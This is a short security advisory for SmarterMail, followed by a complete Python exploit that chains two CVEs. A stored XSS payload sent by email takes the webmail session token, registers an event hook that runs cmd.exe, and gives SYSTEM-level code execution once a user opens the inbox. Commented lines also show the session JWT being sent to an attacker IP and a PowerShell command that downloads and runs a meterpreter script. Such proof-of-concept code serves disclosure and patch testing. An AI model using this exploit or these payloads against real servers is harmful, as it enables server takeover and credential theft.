Advisory

Upgrade to the latest version of SmarterMail; https://www.smartertools.com/smartermail/downloads

Technical details

By chaining CVE-2021-32233 and CVE-2021-32234 it is possible to gain code execution on the mailserver and gain SYSTEM privileges when ever a user opens there webmail inbox.

So how from XSS -> RCE.

While we trigger the same XSS Instead of executing an Alert() box we call the fetch() command to trigger a POST request to the /api/v1/settings/event-hook endpoint.
Breaking it down:
the function prepXssEventPayload we declare a xsspayload variable that is JavaScript;
We create a headers array setting the Content-Type and appending a Authorization header containing the "Bearer " + sessionStorage['token'].
We then declare the arguments to execute in the args variable.
The data variable is a JSON object set with the bare minimum. We then append the command to execute like cmd.exe or powershell

xsspayload = """
        headers = {{"Content-Type": "application/json"}}; 
        headers["Authorization"] = "Bearer " + sessionStorage['token'];
        args = "{arguments}";
        data = {{"actions":[{{"constrained":true,"constraintFrequency":"00:00:00","constraintKey":"","defaultFrequencyInMinutes":0,"eventActionID":0,"inputs":[{{"descriptionResourceId":"@EventInput_Process","hidden":false,"inputType":0,"key":"process","prefillKey":null,"required":false,"value":""}},{{"descriptionResourceId":"@EventInput_Arguments","hidden":false,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}],"key":"CommandLineAction","lastOccuredMapping":{{}},"lastOccuredUTC":"0001-01-01T00:00:00","requires":1,"showVariables":true,"didTrigger":false,"id":"","lastInput":{{"descriptionResourceId":"@EventInput_Arguments","hidden":true	,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}}}],"actionsByKey":{{}},"conditions":[],"conditionsByKey":{{}},"enabled":true,"eventID":30000,"groupID":"","isNew":true,"name":"_","owner":""}};
        data["actions"][0]["inputs"][0]["value"] = "{command}";
        data["actions"][0]["inputs"][1]["value"] = args.replaceAll('##','"');
        fetch('/api/v1/settings/event-hook', {{ method: "POST", headers: headers, body: JSON.stringify(data) }})
        senddata = {{"to":"'{dstemail}' <{dstemail}>;"}};
        fetch('/api/v1/mail/message-put', {{ method: "POST", headers: headers, body: JSON.stringify(senddata) }})
        """.format(command=self.command, arguments=self.arguments, dstemail=dstemail)
import requests
import smtplib
from base64 import b64encode
import argparse

class exploit:
    def __init__(self, dstemail, frmemail, smtpsrv, command, arguments):
        self.smtpsrv = smtpsrv
        self.command = command
        self.arguments = arguments
        self.dstemail = dstemail
        self.frmemail = frmemail

    def run(self):
        try:
            msg  = """From: A <img src=x id="{payload}" onerror=eval(atob(this.id)) <
            To: B <img src=x id="{payload}" onerror=eval(atob(this.id)) <
            Subject: Attention!<img src=x id="{payload}" onerror=eval(atob(this.id)) <
            Content-type: text/html

            Dear Sir,
            bla bla bla bla

            \r\n\r\n""".format(payload=self.prepXssEventPayload())
            
            server = smtplib.SMTP(self.smtpsrv)
        
            server.sendmail(self.frmemail, self.dstemail, msg)
            server.quit()
            print ("Payload dropped, now wait for a user to access the webmail INBOX.")
        except Exception as e:
            print (e)

       

    def prepXssEventPayload(self):

#       xsspayload = """var a=document.createElement("script");
#       var jwt=JSON.stringify(sessionStorage);
#       a.src="//{}:{}/?id="+btoa(jwt);
#       document.body.appendChild(a);""".format(attackerIP, str(attackerPort))

        xsspayload = """
        headers = {{"Content-Type": "application/json"}}; 
        headers["Authorization"] = "Bearer " + sessionStorage['token'];
        args = "{arguments}";
        data = {{"actions":[{{"constrained":true,"constraintFrequency":"00:00:00","constraintKey":"","defaultFrequencyInMinutes":0,"eventActionID":0,"inputs":[{{"descriptionResourceId":"@EventInput_Process","hidden":false,"inputType":0,"key":"process","prefillKey":null,"required":false,"value":""}},{{"descriptionResourceId":"@EventInput_Arguments","hidden":false,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}],"key":"CommandLineAction","lastOccuredMapping":{{}},"lastOccuredUTC":"0001-01-01T00:00:00","requires":1,"showVariables":true,"didTrigger":false,"id":"","lastInput":{{"descriptionResourceId":"@EventInput_Arguments","hidden":true	,"inputType":0,"key":"arguments","prefillKey":null,"required":false,"value":""}}}}],"actionsByKey":{{}},"conditions":[],"conditionsByKey":{{}},"enabled":true,"eventID":30000,"groupID":"","isNew":true,"name":"_","owner":""}};
        data["actions"][0]["inputs"][0]["value"] = "{command}";
        data["actions"][0]["inputs"][1]["value"] = args.replaceAll('##','"');
        fetch('/api/v1/settings/event-hook', {{ method: "POST", headers: headers, body: JSON.stringify(data) }})
        senddata = {{"to":"'{dstemail}' <{dstemail}>;"}};
        fetch('/api/v1/mail/message-put', {{ method: "POST", headers: headers, body: JSON.stringify(senddata) }})
        """.format(command=self.command, arguments=self.arguments, dstemail=dstemail)
        payload_bytes = xsspayload.encode('ascii')
        base64_bytes = b64encode(payload_bytes)
        base64_payload = base64_bytes.decode('ascii')
        payload = base64_payload.replace("=","&#61;")
        return payload




if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in SmarterMail Build 7776 (Apr 16, 2021)')
    parser.add_argument('--dstemail', '-d',
                    required=True,
                    help='Destination email')
    parser.add_argument('--frmemail', '-f',
                    required=True,
                    help='From email')
    parser.add_argument('--smtpsrv', '-s',
                    required=True,
                    help='SMTP server')
    parser.add_argument('--command', '-c',
                    default="c:\\\\Windows\\\\System32\\\\cmd.exe",
                    help='command to execute')
    parser.add_argument('--arguments', '-a',
                    default="/c whoami > c:\\\\xyz.txt",
                    help='arguments to execute')

    args = parser.parse_args()
    dstemail = args.dstemail
    frmemail = args.frmemail
    smtpsrv = args.smtpsrv
    command = args.command
    # The ## below will be replace later on to get \"
    # arguments = "-ExecutionPolicy Bypass -NoExit ##IEX(New-Object System.Net.WebClient).DownloadString(\'http://192.168.1.233/meterpreter.ps1\');##"
    arguments = args.arguments

    x = exploit(dstemail,frmemail,smtpsrv,command,arguments)
    x.run()